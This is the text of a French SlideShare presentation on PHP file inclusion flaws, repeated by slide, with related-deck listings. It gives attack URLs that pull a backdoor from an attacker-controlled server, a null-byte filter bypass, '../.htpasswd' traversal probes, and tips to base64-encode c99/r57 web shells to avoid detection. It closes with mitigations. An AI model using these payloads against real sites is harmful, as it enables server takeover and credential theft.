SlideShare une entreprise Scribd logo
présentation Faille include
 la faille PHP la plus connue dans le monde
des sites web, du à une erreur de
programmation commise par un développeur
peu soucieux en matière de sécurité
 L'include sert principalement à inclure une
page dans une autre ou encore plus
fréquament à inclure des variables
provenants d'un fichier de configuration.
Exemple
Si toutes vos pages requièrent la page mysql.php dans
laquelle sont contenues les informations de connexion
a la base de données, il convient de l’inclure dans
chacune de vos pages plutôt que de retaper
l’équivalent de mysql.php dans toutes celle-ci.
La fonction include vous permettre de n’avoir qu’une
seule page mysql.php, et toutes les pages de votre
site l’incluront (le même cas pour le menu, header et
le footer)
 1) Inclusion d'un autre page.
<?
include($page);
?>
Dans un code html:
<html>
<head>
<title>Page1</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">
</head>
<body>
<? include("maj.php"); ?> // La page que nous incluons
dans page1.php
</body>
</html>
 2) Inclusion de variables
<?
//---------------------------------------------------
//------------- Page config.php ---------------
//---------------------------------------------------
$login = "admin";
$pass = "pass";
//-------------------- END -----------------------
?>
<?
//---------------------------------------------------
//------------- Page protec.php ---------------
//---------------------------------------------------
include("config.php"); // La page config.php ou sont stokés les variables
if($good1==$login & $good2==$pass)
{
include ("identification_ok.php"); // si le login et le pass est identique au config.php
}
else
{
echo "<center>Mauvais login/pass</center><br>";
include ("admin.php");
}
//-------------------- END -----------------------

http://www.sitevictime.com/index.php?page=menu.php
Icil a page menu.php est inclue.La variable ce nomme "page".
Que ce passe-t-il si nous modifions la valeur de la variable "page" qui
vaut "menu.php" ?
Testons ensemble .
http://www.sitevictime.com/index.php?page=http://www.google.fr
Chose dite chose faite !
Nous avons inclue notre page "google"
Donc nous avons modifié la valeur de la variable.
A ce moment là, plusieurs choix s'offrent à vous.
- Soit vous êtes redirigé vers l'index du site ou, vous avez une page
d'**orthographe !**.Oui on arrive sur une erreur 404, c'est que la faille
semble être protégée.
 - Soit vous voyez Google qui s'affiche à la place
de la page qui devrait être inclue.
Ce que signifie faille Include est présente.
Donc nous pouvons modifier la variable "page".
Pourquoi ne pas alors inclure notre propre
page qui contient un code malicieux, comme
nous avons fait avec Google !
 on pourrait très bien inclure un script
malveillant, un shell et avoir acces au serveur
puis faire ce que l'on veut.
 On pourrait aussi inclure un
fichier .htaccess et/ou .htpasswd (qui contient,
en principe, les mots de passes).
 Imaginez que cette page en question soit
une backdoor comme c99.php ! nous
pourrons alors lister tous les fchiers, les
éditer, en créer, accéder à la base de
données,
 Pour détecter une faille include sur un site web, Il
suffit de tester tous les paramètres possibles de l’URL
et d’observer le résultat. Le but est de faire planter le
site web en essayant d’inclure une page qui n’existe
pas.
Si une une URL est vulnérable alors nous devons avoir
un warning PHP de ce type :
 Warning: main([PARAMETRE_INCORRECT]): failed to
open stream: No such file or directory in
[URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
 Warning: main(): Failed opening
‘[PARAMETRE_INCORRECT]‘ for
inclusion (include_path=’.:/usr/share/php:/usr/share
/pear’) in [URL_DE_LA_PAGE].php on line
[NUMERO_DE_LIGNE]
 1. La faille include a distance
 Tout d’abord nous devons avoir une backdoor près a être
employer, pour cela tapez dans google une backdoor précise
comme r57, c99, c100 myshell, etc. Il préférable de l’encoder
en base64 encoding pour ne pas être détecter.
 Nous supposons que nous avons trouvé la faille sur un site, et
qu’elle permette l’inclusion de n’importe quelle page.
Maintenant, il ne nous reste plus qu’à placer notre backdoor sur
notre serveur FTP ou un serveur gratuit n’exécutant pas le PHP.
 Quelque soit la solution choisie, nous pouvons donc appeler la
page vulnérable de cette manière :
index.php?page=http://notre-serveur.com/backdoor.php
(si elle est sur un serveur FTP, remplacez évidemment http ://
par ftp :// et indiquez le login/pass de manière habituelle).
 Et nous verrons notre backdoor s’afficher comme suit:
présentation Faille include
 Parfois on tombe sur une page vulnérable mais avec
un code différent de celui que nous avons vu dans le
paragraphe précédent, par exemple :
 1<?php
 2if(isset($_GET['page']))
 3include($_GET['page'] . ".php");
 4else
 5include('default.php');
 6?>
 Ici l’extension « .php » est automatiquement rajoutée
à la variable. Cela force notre fichier backdoor.php a
devenir backdoor.php.php et ça ne va pas s’exécuter
sur le serveur vulnérable.
 Alors que faire ?
 Il existe une solution très simple pour bypasser ce
filtre, c’est la technique null byte. Il consiste à placer
un zéro ASCII a la fin de notre URL. Il faudra donc
inclure :
index.php?page=http://notre-
serveur.com/backdoor.txt%00
 Une petite explication
 La fonction include() va être traitée par une fonction
programmée en langage C. Et en C, on désigne la fin
d’une chaîne de caractères par un octet null (x00 en
notation classique). c’est pour ça notre chaîne de
caractère(backdoor.php%00.php) sera tronqué en
trouvant le caractère %00 !
 Nous n’avons Jusqu’ici cherché qu’à inclure une backdoor a
distance. Mais sachez qu’il est tout à fait possible, avec cette
faille, d’exécuter un fichier se trouvant sur le serveur vulnérable !
Et d’ailleurs, c’est quelque fois la seule possibilité, car certaines
protections désactivent la possibilité d’inclure du code situé sur
un autre serveur.
 Nous pouvons donc afficher tous les pages a l’intérieur de
l’index, de cette
manière: http://www.cible.com/index.php?page=/test/test.php
Et comme ça, nous allons pouvoir naviguer dans tout les
répertoires du site, voir même du serveur s’il n’est pas chmoder
 En pratique, c’est assez simple, en faite nous allons essayer de
deviner dans quel répertoire ils se trouvent un fichier intéressant
comme htpasswd, en testant successivement des paramètres
comme « ../.htpasswd » ou « ../../.htpasswd » ou encore
« ../dossier/.htpasswd ».
 -
Et pour inclure ce fichier, vous faites comme
ceci:
http://www.sitevictime.com/index.php?pag
e=http://www.votresite/code_malicieux.ph
p
Et voilà votre page "code_malicieux.php" a
bien été inclue.
 La sécurisation de scripts PHP est une étape importante à
prendre en compte lors de toute conception de site ou de
script, simple ou complexe.
 PHP permet déjà si on le configure correctement d'éliminer
pas mal de problèmes de sécurité pour dissimuler des URL
et des fichiers.
 Les register_globals :
 PHP est enfin configuré avec le
paramètre register_globals à off par défaut. Vous pouvez
désactiver les register_globals via le fichier php.ini,
recherchez la ligne register_globals et attribuez-lui la
valeur Off. Vous pouvez également passer par un
fichier .htaccess, vous devrez dans ce cas rajouter la ligne
suivante : php_flag register_globals off. Ceci désactivera
les register_globals, qui sont une vraie plaie pour la
sécurité d'un script.
 La meilleure façon pour corriger une include
est de : Faire un test pour chaque pages de
votre site, certes c’est long mais il n’y a pas
mieux à vous de voir après.
En php4, mettre la commande allow_url_fopen à off. Cette
dernier permet la lecture de fichiers situés sur un autre serveur;
En php5, mettre la commande allow_url_include à off. C’est un
apport par rapport à php4, qui distingue les fichiers lus des
fichiers inclus.
 Sécuriser la faille
 On peut forcer d'inclure un page dans un dossier comme ça si le pirate veur
inclure un site externe cela donnera :
include("mon_dossier/http://google.com");
Ce qui échouera pour le pirate.
Le mieux pour sécuriser cette faille est d'utiliser la fonction basename qui permet
de garder uniquement la base d'un chemin. Exemple
:http://exemle.com/script.php retourne juste script.php.
Voici un exemple ou j'ai rajouter un "file_exists" pour être sur d'inclure la page
seulement si elle existe sinon on lui affiche l'index.

$page = basename($_GET[&#39;page&#39;]); //$page : la page capturée de
l&#39;url (pour simplifier) et on prend le nom de base
if (file_exists("mon_dossier/$page.html")){ //Si la page existe, on l&#39;inclus
include("mon_dossier/$page.html"); //On force le .html
} else {
include(&#39;mon_dossier/index.html&#39;); //Si elle n&#39;existe pas, on inclus
l&#39;index
}
Attention maintenant à la faille dans votre site, c'est à dire qu'un
visiteur inclue une page de votre site pour laquelle il n'a pas les
droits d'accès en remontant d'un répertoire par exemple... Vous
pouvez utiliser pour contrer cela les Expressions régulières en
enlevant les caractères spéciaux : le slash, le point et l'antislash...
qui pourraient prendre place dans l'url.

Contenu connexe

Tendances

Rapport DVWA: CSRF
Rapport DVWA: CSRFRapport DVWA: CSRF
Rapport DVWA: CSRF
Ayoub Rouzi
 
OWASP Top Ten 2007 - Sommaire executif - French version
OWASP Top Ten 2007 - Sommaire executif - French versionOWASP Top Ten 2007 - Sommaire executif - French version
OWASP Top Ten 2007 - Sommaire executif - French version
spl0it
 
Pots de Miel, Honeypot informatique - Sécurité informatique
Pots de Miel, Honeypot informatique - Sécurité informatiquePots de Miel, Honeypot informatique - Sécurité informatique
Pots de Miel, Honeypot informatique - Sécurité informatique
🏁 Pierre-Henry Soria 💡
 
Créer une barre de progression grâce à PHP 5.4
Créer une barre de progression grâce à PHP 5.4Créer une barre de progression grâce à PHP 5.4
Créer une barre de progression grâce à PHP 5.4
🏁 Pierre-Henry Soria 💡
 
Wordpress : Attaque, Audit et Protection | Hackfest 2015
Wordpress : Attaque, Audit et Protection | Hackfest 2015Wordpress : Attaque, Audit et Protection | Hackfest 2015
Wordpress : Attaque, Audit et Protection | Hackfest 2015
Harvey Francois
 
Sécurité: Ne soyez pas à risque
Sécurité: Ne soyez pas à risqueSécurité: Ne soyez pas à risque
Sécurité: Ne soyez pas à risque
Maxime Jobin
 
Beautiful CSS : Structurer, documenter, maintenir
Beautiful CSS : Structurer, documenter, maintenirBeautiful CSS : Structurer, documenter, maintenir
Beautiful CSS : Structurer, documenter, maintenir
Yves Van Goethem
 
Sécuriser un site Wordpress
Sécuriser un site WordpressSécuriser un site Wordpress
Sécuriser un site Wordpress
bestyuna
 
Découverte d'aeSecure, sécurisation et optimisation sites Apache
Découverte d'aeSecure, sécurisation et optimisation sites ApacheDécouverte d'aeSecure, sécurisation et optimisation sites Apache
Découverte d'aeSecure, sécurisation et optimisation sites Apache
Christophe Avonture
 
Accroître la sécurité de son site internet et de Joomla! plus spécifiquement
Accroître la sécurité de son site internet et de Joomla! plus spécifiquementAccroître la sécurité de son site internet et de Joomla! plus spécifiquement
Accroître la sécurité de son site internet et de Joomla! plus spécifiquement
Christophe Avonture
 
Pirates des CMS
Pirates des CMSPirates des CMS
Pirates des CMS
Jean-Francois Arseneault
 
La Sécurité Sur Le Web
La Sécurité Sur Le WebLa Sécurité Sur Le Web
La Sécurité Sur Le Web
Groupe Revolution 9
 
Html 5
Html 5Html 5
Html 5
Thomas Bodin
 
WordPress en tant que CMS
WordPress en tant que CMSWordPress en tant que CMS
WordPress en tant que CMS
Aurélien Denis
 
Securité web
Securité webSecurité web
Securité web
Emmanuel Gautier
 
Mysql Apche PHP sous linux
Mysql Apche PHP sous linuxMysql Apche PHP sous linux
Mysql Apche PHP sous linux
Khalid ALLILI
 
Application web php5 html5 css3 bootstrap
Application web php5 html5 css3 bootstrapApplication web php5 html5 css3 bootstrap
Application web php5 html5 css3 bootstrap
Bassem ABCHA
 
Sécuriser un site WordPress - Semaine du web
Sécuriser un site WordPress - Semaine du webSécuriser un site WordPress - Semaine du web
Sécuriser un site WordPress - Semaine du web
IZZA Samir
 

Tendances (19)

Rapport DVWA: CSRF
Rapport DVWA: CSRFRapport DVWA: CSRF
Rapport DVWA: CSRF
 
OWASP Top Ten 2007 - Sommaire executif - French version
OWASP Top Ten 2007 - Sommaire executif - French versionOWASP Top Ten 2007 - Sommaire executif - French version
OWASP Top Ten 2007 - Sommaire executif - French version
 
Pots de Miel, Honeypot informatique - Sécurité informatique
Pots de Miel, Honeypot informatique - Sécurité informatiquePots de Miel, Honeypot informatique - Sécurité informatique
Pots de Miel, Honeypot informatique - Sécurité informatique
 
Créer une barre de progression grâce à PHP 5.4
Créer une barre de progression grâce à PHP 5.4Créer une barre de progression grâce à PHP 5.4
Créer une barre de progression grâce à PHP 5.4
 
Wordpress : Attaque, Audit et Protection | Hackfest 2015
Wordpress : Attaque, Audit et Protection | Hackfest 2015Wordpress : Attaque, Audit et Protection | Hackfest 2015
Wordpress : Attaque, Audit et Protection | Hackfest 2015
 
Sécurité: Ne soyez pas à risque
Sécurité: Ne soyez pas à risqueSécurité: Ne soyez pas à risque
Sécurité: Ne soyez pas à risque
 
Mysql
MysqlMysql
Mysql
 
Beautiful CSS : Structurer, documenter, maintenir
Beautiful CSS : Structurer, documenter, maintenirBeautiful CSS : Structurer, documenter, maintenir
Beautiful CSS : Structurer, documenter, maintenir
 
Sécuriser un site Wordpress
Sécuriser un site WordpressSécuriser un site Wordpress
Sécuriser un site Wordpress
 
Découverte d'aeSecure, sécurisation et optimisation sites Apache
Découverte d'aeSecure, sécurisation et optimisation sites ApacheDécouverte d'aeSecure, sécurisation et optimisation sites Apache
Découverte d'aeSecure, sécurisation et optimisation sites Apache
 
Accroître la sécurité de son site internet et de Joomla! plus spécifiquement
Accroître la sécurité de son site internet et de Joomla! plus spécifiquementAccroître la sécurité de son site internet et de Joomla! plus spécifiquement
Accroître la sécurité de son site internet et de Joomla! plus spécifiquement
 
Pirates des CMS
Pirates des CMSPirates des CMS
Pirates des CMS
 
La Sécurité Sur Le Web
La Sécurité Sur Le WebLa Sécurité Sur Le Web
La Sécurité Sur Le Web
 
Html 5
Html 5Html 5
Html 5
 
WordPress en tant que CMS
WordPress en tant que CMSWordPress en tant que CMS
WordPress en tant que CMS
 
Securité web
Securité webSecurité web
Securité web
 
Mysql Apche PHP sous linux
Mysql Apche PHP sous linuxMysql Apche PHP sous linux
Mysql Apche PHP sous linux
 
Application web php5 html5 css3 bootstrap
Application web php5 html5 css3 bootstrapApplication web php5 html5 css3 bootstrap
Application web php5 html5 css3 bootstrap
 
Sécuriser un site WordPress - Semaine du web
Sécuriser un site WordPress - Semaine du webSécuriser un site WordPress - Semaine du web
Sécuriser un site WordPress - Semaine du web
 

En vedette

Supervision réseaux métro ethernet et cloudification
Supervision réseaux métro ethernet et cloudificationSupervision réseaux métro ethernet et cloudification
Supervision réseaux métro ethernet et cloudification
sahar dridi
 
Atelier configuration d une maquette voip
Atelier configuration d une maquette voip Atelier configuration d une maquette voip
Atelier configuration d une maquette voip
sahar dridi
 
Rapport dridi sahar_tunisie_telecom
Rapport dridi sahar_tunisie_telecomRapport dridi sahar_tunisie_telecom
Rapport dridi sahar_tunisie_telecom
sahar dridi
 
Rapport stage IP-MSAN Tunisie télécom
Rapport stage IP-MSAN Tunisie télécomRapport stage IP-MSAN Tunisie télécom
Rapport stage IP-MSAN Tunisie télécom
Siwar GUEMRI
 
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
fedi zouari
 
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
fedi zouari
 
Security alarm application droidcon tunisia challenge 2015
Security alarm application droidcon tunisia challenge 2015Security alarm application droidcon tunisia challenge 2015
Security alarm application droidcon tunisia challenge 2015
sahar dridi
 

En vedette (7)

Supervision réseaux métro ethernet et cloudification
Supervision réseaux métro ethernet et cloudificationSupervision réseaux métro ethernet et cloudification
Supervision réseaux métro ethernet et cloudification
 
Atelier configuration d une maquette voip
Atelier configuration d une maquette voip Atelier configuration d une maquette voip
Atelier configuration d une maquette voip
 
Rapport dridi sahar_tunisie_telecom
Rapport dridi sahar_tunisie_telecomRapport dridi sahar_tunisie_telecom
Rapport dridi sahar_tunisie_telecom
 
Rapport stage IP-MSAN Tunisie télécom
Rapport stage IP-MSAN Tunisie télécomRapport stage IP-MSAN Tunisie télécom
Rapport stage IP-MSAN Tunisie télécom
 
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
 
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
Modélisation et résolution d’un problème de localisation des nœuds d’accès da...
 
Security alarm application droidcon tunisia challenge 2015
Security alarm application droidcon tunisia challenge 2015Security alarm application droidcon tunisia challenge 2015
Security alarm application droidcon tunisia challenge 2015
 

Similaire à présentation Faille include

Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...
Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...
Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...
Sylvie CECI
 
laravel.sillo.org-Cours Laravel 10 les bases installation et organisation.pdf
laravel.sillo.org-Cours Laravel 10  les bases  installation et organisation.pdflaravel.sillo.org-Cours Laravel 10  les bases  installation et organisation.pdf
laravel.sillo.org-Cours Laravel 10 les bases installation et organisation.pdf
HeartKing10
 
Cours3-PHPfgdwfwdffhddfbwdfwdfwdfwdfwfw.pdf
Cours3-PHPfgdwfwdffhddfbwdfwdfwdfwdfwfw.pdfCours3-PHPfgdwfwdffhddfbwdfwdfwdfwdfwfw.pdf
Cours3-PHPfgdwfwdffhddfbwdfwdfwdfwdfwfw.pdf
RihabBENLAMINE
 
Secubasejoomla
SecubasejoomlaSecubasejoomla
Secubasejoomla
Bacely YoroBi
 
cours-gratuit.com--coursMySql-id2218.pdf
cours-gratuit.com--coursMySql-id2218.pdfcours-gratuit.com--coursMySql-id2218.pdf
cours-gratuit.com--coursMySql-id2218.pdf
GroupeExcelMarrakech
 
PHP mysql Xml.pdf
PHP mysql Xml.pdfPHP mysql Xml.pdf
PHP mysql Xml.pdf
GroupeExcelMarrakech
 
PHP mysql Xml.doc
PHP mysql Xml.docPHP mysql Xml.doc
PHP mysql Xml.doc
GroupeExcelMarrakech
 
Wordpress et la sécurité des plugins
Wordpress et la sécurité des pluginsWordpress et la sécurité des plugins
Wordpress et la sécurité des plugins
Boiteaweb
 
Administration de plusieurs sites TYPO3
Administration de plusieurs sites TYPO3Administration de plusieurs sites TYPO3
Administration de plusieurs sites TYPO3
Yannick Pavard
 
Installation magento 2 avec mamp
 Installation magento 2 avec mamp Installation magento 2 avec mamp
Installation magento 2 avec mamp
Blackbird
 
WordPress
WordPressWordPress
WordPress
Thomas Bodin
 
hassclic270.ppt
hassclic270.ppthassclic270.ppt
hassclic270.ppt
adiouf2
 
WordPress
WordPressWordPress
WordPress
Chris Gaillard
 
Environnement et technologies web
Environnement et technologies webEnvironnement et technologies web
Environnement et technologies web
IrinaTsimpilova1
 
Memcached, une solution de cache par excellence
Memcached, une solution de cache par excellenceMemcached, une solution de cache par excellence
Memcached, une solution de cache par excellence
Mehdi Mehni
 

Similaire à présentation Faille include (20)

Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...
Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...
Le fichier htaccess de Joomla, la sécurité de votre site mais pas que ...
 
laravel.sillo.org-Cours Laravel 10 les bases installation et organisation.pdf
laravel.sillo.org-Cours Laravel 10  les bases  installation et organisation.pdflaravel.sillo.org-Cours Laravel 10  les bases  installation et organisation.pdf
laravel.sillo.org-Cours Laravel 10 les bases installation et organisation.pdf
 
Cours Php
Cours PhpCours Php
Cours Php
 
Cours Php
Cours PhpCours Php
Cours Php
 
Cours3-PHPfgdwfwdffhddfbwdfwdfwdfwdfwfw.pdf
Cours3-PHPfgdwfwdffhddfbwdfwdfwdfwdfwfw.pdfCours3-PHPfgdwfwdffhddfbwdfwdfwdfwdfwfw.pdf
Cours3-PHPfgdwfwdffhddfbwdfwdfwdfwdfwfw.pdf
 
Secubasejoomla
SecubasejoomlaSecubasejoomla
Secubasejoomla
 
cours-gratuit.com--coursMySql-id2218.pdf
cours-gratuit.com--coursMySql-id2218.pdfcours-gratuit.com--coursMySql-id2218.pdf
cours-gratuit.com--coursMySql-id2218.pdf
 
PHP mysql Xml.pdf
PHP mysql Xml.pdfPHP mysql Xml.pdf
PHP mysql Xml.pdf
 
PHP mysql Xml.doc
PHP mysql Xml.docPHP mysql Xml.doc
PHP mysql Xml.doc
 
Lp web tp3_idse
Lp web tp3_idseLp web tp3_idse
Lp web tp3_idse
 
Wordpress et la sécurité des plugins
Wordpress et la sécurité des pluginsWordpress et la sécurité des plugins
Wordpress et la sécurité des plugins
 
Administration de plusieurs sites TYPO3
Administration de plusieurs sites TYPO3Administration de plusieurs sites TYPO3
Administration de plusieurs sites TYPO3
 
Installation magento 2 avec mamp
 Installation magento 2 avec mamp Installation magento 2 avec mamp
Installation magento 2 avec mamp
 
SAPIENS2009 - Module 4B
SAPIENS2009 - Module 4BSAPIENS2009 - Module 4B
SAPIENS2009 - Module 4B
 
Tp1 wp etud
Tp1 wp etudTp1 wp etud
Tp1 wp etud
 
WordPress
WordPressWordPress
WordPress
 
hassclic270.ppt
hassclic270.ppthassclic270.ppt
hassclic270.ppt
 
WordPress
WordPressWordPress
WordPress
 
Environnement et technologies web
Environnement et technologies webEnvironnement et technologies web
Environnement et technologies web
 
Memcached, une solution de cache par excellence
Memcached, une solution de cache par excellenceMemcached, une solution de cache par excellence
Memcached, une solution de cache par excellence
 

présentation Faille include

  • 2.  la faille PHP la plus connue dans le monde des sites web, du à une erreur de programmation commise par un développeur peu soucieux en matière de sécurité  L'include sert principalement à inclure une page dans une autre ou encore plus fréquament à inclure des variables provenants d'un fichier de configuration.
  • 3. Exemple Si toutes vos pages requièrent la page mysql.php dans laquelle sont contenues les informations de connexion a la base de données, il convient de l’inclure dans chacune de vos pages plutôt que de retaper l’équivalent de mysql.php dans toutes celle-ci. La fonction include vous permettre de n’avoir qu’une seule page mysql.php, et toutes les pages de votre site l’incluront (le même cas pour le menu, header et le footer)
  • 4.  1) Inclusion d'un autre page. <? include($page); ?> Dans un code html: <html> <head> <title>Page1</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body> <? include("maj.php"); ?> // La page que nous incluons dans page1.php </body> </html>
  • 5.  2) Inclusion de variables <? //--------------------------------------------------- //------------- Page config.php --------------- //--------------------------------------------------- $login = "admin"; $pass = "pass"; //-------------------- END ----------------------- ?> <? //--------------------------------------------------- //------------- Page protec.php --------------- //--------------------------------------------------- include("config.php"); // La page config.php ou sont stokés les variables if($good1==$login & $good2==$pass) { include ("identification_ok.php"); // si le login et le pass est identique au config.php } else { echo "<center>Mauvais login/pass</center><br>"; include ("admin.php"); } //-------------------- END -----------------------
  • 6.  http://www.sitevictime.com/index.php?page=menu.php Icil a page menu.php est inclue.La variable ce nomme "page". Que ce passe-t-il si nous modifions la valeur de la variable "page" qui vaut "menu.php" ? Testons ensemble . http://www.sitevictime.com/index.php?page=http://www.google.fr Chose dite chose faite ! Nous avons inclue notre page "google" Donc nous avons modifié la valeur de la variable. A ce moment là, plusieurs choix s'offrent à vous. - Soit vous êtes redirigé vers l'index du site ou, vous avez une page d'**orthographe !**.Oui on arrive sur une erreur 404, c'est que la faille semble être protégée.
  • 7.  - Soit vous voyez Google qui s'affiche à la place de la page qui devrait être inclue. Ce que signifie faille Include est présente. Donc nous pouvons modifier la variable "page". Pourquoi ne pas alors inclure notre propre page qui contient un code malicieux, comme nous avons fait avec Google !  on pourrait très bien inclure un script malveillant, un shell et avoir acces au serveur puis faire ce que l'on veut.  On pourrait aussi inclure un fichier .htaccess et/ou .htpasswd (qui contient, en principe, les mots de passes).
  • 8.  Imaginez que cette page en question soit une backdoor comme c99.php ! nous pourrons alors lister tous les fchiers, les éditer, en créer, accéder à la base de données,
  • 9.  Pour détecter une faille include sur un site web, Il suffit de tester tous les paramètres possibles de l’URL et d’observer le résultat. Le but est de faire planter le site web en essayant d’inclure une page qui n’existe pas. Si une une URL est vulnérable alors nous devons avoir un warning PHP de ce type :  Warning: main([PARAMETRE_INCORRECT]): failed to open stream: No such file or directory in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]  Warning: main(): Failed opening ‘[PARAMETRE_INCORRECT]‘ for inclusion (include_path=’.:/usr/share/php:/usr/share /pear’) in [URL_DE_LA_PAGE].php on line [NUMERO_DE_LIGNE]
  • 10.  1. La faille include a distance  Tout d’abord nous devons avoir une backdoor près a être employer, pour cela tapez dans google une backdoor précise comme r57, c99, c100 myshell, etc. Il préférable de l’encoder en base64 encoding pour ne pas être détecter.  Nous supposons que nous avons trouvé la faille sur un site, et qu’elle permette l’inclusion de n’importe quelle page. Maintenant, il ne nous reste plus qu’à placer notre backdoor sur notre serveur FTP ou un serveur gratuit n’exécutant pas le PHP.  Quelque soit la solution choisie, nous pouvons donc appeler la page vulnérable de cette manière : index.php?page=http://notre-serveur.com/backdoor.php (si elle est sur un serveur FTP, remplacez évidemment http :// par ftp :// et indiquez le login/pass de manière habituelle).  Et nous verrons notre backdoor s’afficher comme suit:
  • 12.  Parfois on tombe sur une page vulnérable mais avec un code différent de celui que nous avons vu dans le paragraphe précédent, par exemple :  1<?php  2if(isset($_GET['page']))  3include($_GET['page'] . ".php");  4else  5include('default.php');  6?>  Ici l’extension « .php » est automatiquement rajoutée à la variable. Cela force notre fichier backdoor.php a devenir backdoor.php.php et ça ne va pas s’exécuter sur le serveur vulnérable.
  • 13.  Alors que faire ?  Il existe une solution très simple pour bypasser ce filtre, c’est la technique null byte. Il consiste à placer un zéro ASCII a la fin de notre URL. Il faudra donc inclure : index.php?page=http://notre- serveur.com/backdoor.txt%00  Une petite explication  La fonction include() va être traitée par une fonction programmée en langage C. Et en C, on désigne la fin d’une chaîne de caractères par un octet null (x00 en notation classique). c’est pour ça notre chaîne de caractère(backdoor.php%00.php) sera tronqué en trouvant le caractère %00 !
  • 14.  Nous n’avons Jusqu’ici cherché qu’à inclure une backdoor a distance. Mais sachez qu’il est tout à fait possible, avec cette faille, d’exécuter un fichier se trouvant sur le serveur vulnérable ! Et d’ailleurs, c’est quelque fois la seule possibilité, car certaines protections désactivent la possibilité d’inclure du code situé sur un autre serveur.  Nous pouvons donc afficher tous les pages a l’intérieur de l’index, de cette manière: http://www.cible.com/index.php?page=/test/test.php Et comme ça, nous allons pouvoir naviguer dans tout les répertoires du site, voir même du serveur s’il n’est pas chmoder  En pratique, c’est assez simple, en faite nous allons essayer de deviner dans quel répertoire ils se trouvent un fichier intéressant comme htpasswd, en testant successivement des paramètres comme « ../.htpasswd » ou « ../../.htpasswd » ou encore « ../dossier/.htpasswd ».  -
  • 15. Et pour inclure ce fichier, vous faites comme ceci: http://www.sitevictime.com/index.php?pag e=http://www.votresite/code_malicieux.ph p Et voilà votre page "code_malicieux.php" a bien été inclue.
  • 16.  La sécurisation de scripts PHP est une étape importante à prendre en compte lors de toute conception de site ou de script, simple ou complexe.  PHP permet déjà si on le configure correctement d'éliminer pas mal de problèmes de sécurité pour dissimuler des URL et des fichiers.  Les register_globals :  PHP est enfin configuré avec le paramètre register_globals à off par défaut. Vous pouvez désactiver les register_globals via le fichier php.ini, recherchez la ligne register_globals et attribuez-lui la valeur Off. Vous pouvez également passer par un fichier .htaccess, vous devrez dans ce cas rajouter la ligne suivante : php_flag register_globals off. Ceci désactivera les register_globals, qui sont une vraie plaie pour la sécurité d'un script.
  • 17.  La meilleure façon pour corriger une include est de : Faire un test pour chaque pages de votre site, certes c’est long mais il n’y a pas mieux à vous de voir après. En php4, mettre la commande allow_url_fopen à off. Cette dernier permet la lecture de fichiers situés sur un autre serveur; En php5, mettre la commande allow_url_include à off. C’est un apport par rapport à php4, qui distingue les fichiers lus des fichiers inclus.
  • 18.  Sécuriser la faille  On peut forcer d'inclure un page dans un dossier comme ça si le pirate veur inclure un site externe cela donnera : include("mon_dossier/http://google.com"); Ce qui échouera pour le pirate. Le mieux pour sécuriser cette faille est d'utiliser la fonction basename qui permet de garder uniquement la base d'un chemin. Exemple :http://exemle.com/script.php retourne juste script.php. Voici un exemple ou j'ai rajouter un "file_exists" pour être sur d'inclure la page seulement si elle existe sinon on lui affiche l'index.  $page = basename($_GET[&#39;page&#39;]); //$page : la page capturée de l&#39;url (pour simplifier) et on prend le nom de base if (file_exists("mon_dossier/$page.html")){ //Si la page existe, on l&#39;inclus include("mon_dossier/$page.html"); //On force le .html } else { include(&#39;mon_dossier/index.html&#39;); //Si elle n&#39;existe pas, on inclus l&#39;index }
  • 19. Attention maintenant à la faille dans votre site, c'est à dire qu'un visiteur inclue une page de votre site pour laquelle il n'a pas les droits d'accès en remontant d'un répertoire par exemple... Vous pouvez utiliser pour contrer cela les Expressions régulières en enlevant les caractères spéciaux : le slash, le point et l'antislash... qui pourraient prendre place dans l'url.